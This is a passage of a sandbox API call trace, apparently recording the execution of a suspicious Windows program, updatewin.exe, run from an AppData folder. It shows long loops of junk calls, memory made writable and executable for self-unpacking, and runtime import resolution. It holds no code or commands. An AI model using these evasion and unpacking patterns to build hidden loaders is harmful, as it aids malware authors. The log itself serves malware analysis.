lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.022] AddAtomA (lpString=0x0) returned 0x0 [0055.022] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.022] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.023] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.023] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.023] AddAtomA (lpString=0x0) returned 0x0 [0055.024] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.024] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.024] AddAtomA (lpString=0x0) returned 0x0 [0055.024] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.024] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.024] AddAtomA (lpString=0x0) returned 0x0 [0055.024] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.024] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.024] AddAtomA (lpString=0x0) returned 0x0 [0055.024] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.024] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.043] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.043] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0055.043] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0055.043] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0055.043] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0055.043] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0055.043] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.044] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0055.044] SetErrorMode (uMode=0x400) returned 0x0 [0055.044] SetErrorMode (uMode=0x0) returned 0x400 [0055.044] GetVersionExA (in: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.044] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1b0000 [0055.093] VirtualProtect (in: lpAddress=0x400000, dwSize=0x23000, flNewProtect=0x40, lpflOldProtect=0x18e5a8 | out: lpflOldProtect=0x18e5a8*=0x2) returned 1 [0055.582] VirtualFree (lpAddress=0x1b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.583] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0055.583] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0055.583] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0055.583] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0055.583] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0055.583] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0055.583] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0055.584] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0055.585] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0055.586] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0055.587] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0055.587] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0055.587] GetProcAddress (hModule=0x74f40000, lpProcName="GetDesktopWindow") returned 0x74f60a19 [0055.587] GetProcAddress (hModule=0x74f40000, lpProcName="InvalidateRect") returned 0x74f61381 [0055.587] GetProcAddress (hModule=0x74f40000, lpProcName="wsprintfW") returned 0x74f7e061 [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="DrawIcon") returned 0x74f68deb [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="FillRect") returned 0x74f60eb6 [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="GetDlgItem") returned 0x74f7f1ba [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="EndPaint") returned 0x74f61341 [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="BeginPaint") returned 0x74f61361 [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="DialogBoxParamW") returned 0x74f7cfca [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="MoveWindow") returned 0x74f63698 [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="GetClientRect") returned 0x74f60c62 [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="CreateDialogParamW") returned 0x74f810dc [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="SetWindowPos") returned 0x74f58e4e [0055.588] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateAcceleratorW") returned 0x74f61246 [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="LoadAcceleratorsW") returned 0x74f64dd6 [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="LoadStringW") returned 0x74f58eb9 [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="LoadIconW") returned 0x74f5b142 [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="GetMonitorInfoW") returned 0x74f63000 [0055.589] GetProcAddress (hModule=0x74f40000, lpProcName="MonitorFromWindow") returned 0x74f63150 [0055.589] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75ad0000 [0055.589] GetProcAddress (hModule=0x75ad0000, lpProcName="TextOutW") returned 0x75aed41c [0055.589] GetProcAddress (hModule=0x75ad0000, lpProcName="SetBkMode") returned 0x75ae51a2 [0055.589] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0055.590] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateFontW") returned 0x75aeb600 [0055.590] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0055.590] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateSolidBrush") returned 0x75ae4f17 [0055.590] GetProcAddress (hModule=0x75ad0000, lpProcName="SetTextAlign") returned 0x75ae8401 [0055.667] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x74820000 [0055.673] GetProcAddress (hModule=0x74820000, lpProcName="InitCommonControlsEx") returned 0x748409ce [0055.673] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0055.675] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0055.675] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0055.677] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0055.677] atexit (param_1=0x2c63c8) returned 0 [0055.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e5ac | out: lpSystemTimeAsFileTime=0x18e5ac*(dwLowDateTime=0xae183850, dwHighDateTime=0x1d54670)) [0055.677] GetCurrentThreadId () returned 0xb34 [0055.677] GetCurrentProcessId () returned 0xb30 [0055.677] QueryPerformanceCounter (in: lpPerformanceCount=0x18e5a4 | out: lpPerformanceCount=0x18e5a4*=17595490842) returned 1 [0055.677] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.677] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.677] GetLastError () returned 0x57 [0055.678] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.678] GetLastError () returned 0x57 [0055.678] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0055.678] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0055.678] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.678] GetLastError () returned 0x57 [0055.678] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.678] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.678] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.678] GetLastError () returned 0x57 [0055.678] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.678] GetLastError () returned 0x57 [0055.678] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0055.678] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0055.678] GetProcessHeap () returned 0x2b0000 [0055.678] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.679] GetLastError () returned 0x57 [0055.679] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.679] GetLastError () returned 0x57 [0055.679] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0055.679] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.679] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x364) returned 0x2db9c0 [0055.679] SetLastError (dwErrCode=0x57) [0055.679] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xc00) returned 0x2dbd30 [0055.680] GetStartupInfoW (in: lpStartupInfo=0x18e4e0 | out: lpStartupInfo=0x18e4e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x402400, hStdOutput=0xb7515a26, hStdError=0xfffffffe)) [0055.680] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0055.680] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0055.680] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0055.680] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe\" " [0055.680] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe\" " [0055.680] GetACP () returned 0x4e4 [0055.680] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x220) returned 0x2dd138 [0055.680] IsValidCodePage (CodePage=0x4e4) returned 1 [0055.680] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18e500 | out: lpCPInfo=0x18e500) returned 1 [0055.681] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ddc8 | out: lpCPInfo=0x18ddc8) returned 1 [0055.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.681] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18dddc | out: lpCharType=0x18dddc) returned 1 [0055.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā") returned 256 [0055.681] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.681] GetLastError () returned 0x57 [0055.681] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0055.681] 